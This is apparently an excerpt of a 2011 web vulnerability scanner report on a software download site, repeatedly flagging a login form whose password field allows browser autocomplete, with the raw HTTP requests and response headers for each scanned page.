HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22troll-killer%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22troll+killer%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31427
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-trollkiller-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:01 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22trollkiller%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22trollkiller%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28488
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-use-next-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:10 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22use-next%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22use+next%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60741
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-usenet-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22usenet%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37040
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-usenet-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:25 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79207
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-usenet-search-engine-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A20%3A%22usenet-search-engine%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A20%3A%22usenet+search+engine%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38579
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-usenext-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:53 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22usenext%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22usenext%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28745
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-video-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22video%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22video%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 99673
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-xpat-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:08 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22xpat%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22xpat%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28893
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-yenc-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22yenc%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22yenc%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49249
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /a-oz-insight-1768-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:42:03 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:52:08 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 26030
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-audio-multimedia-downloads-1-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%221%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79639
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-business-downloads-2-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:51 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%222%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 85656
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-chat-instant-messaging-downloads-3-39-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:33 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2239%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 83121
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-dial-up-connection-tools-downloads-3-40-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:27 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2240%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 66926
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-downloads-3-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:39 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 82470
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-e-mail-clients-downloads-3-41-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:41 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2241%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79258
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-e-mail-list-management-downloads-3-42-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2242%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81866
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-fax-tools-downloads-3-43-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2243%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-newsgroup-clients-downloads-3-44-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52725
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-other-comms-tools-downloads-3-48-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2248%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76989
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-other-e-mail-tools-downloads-3-49-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2249%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 78664
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-pager-tools-downloads-3-45-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:24 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:26 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2245%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 44061
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-telephony-downloads-3-46-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
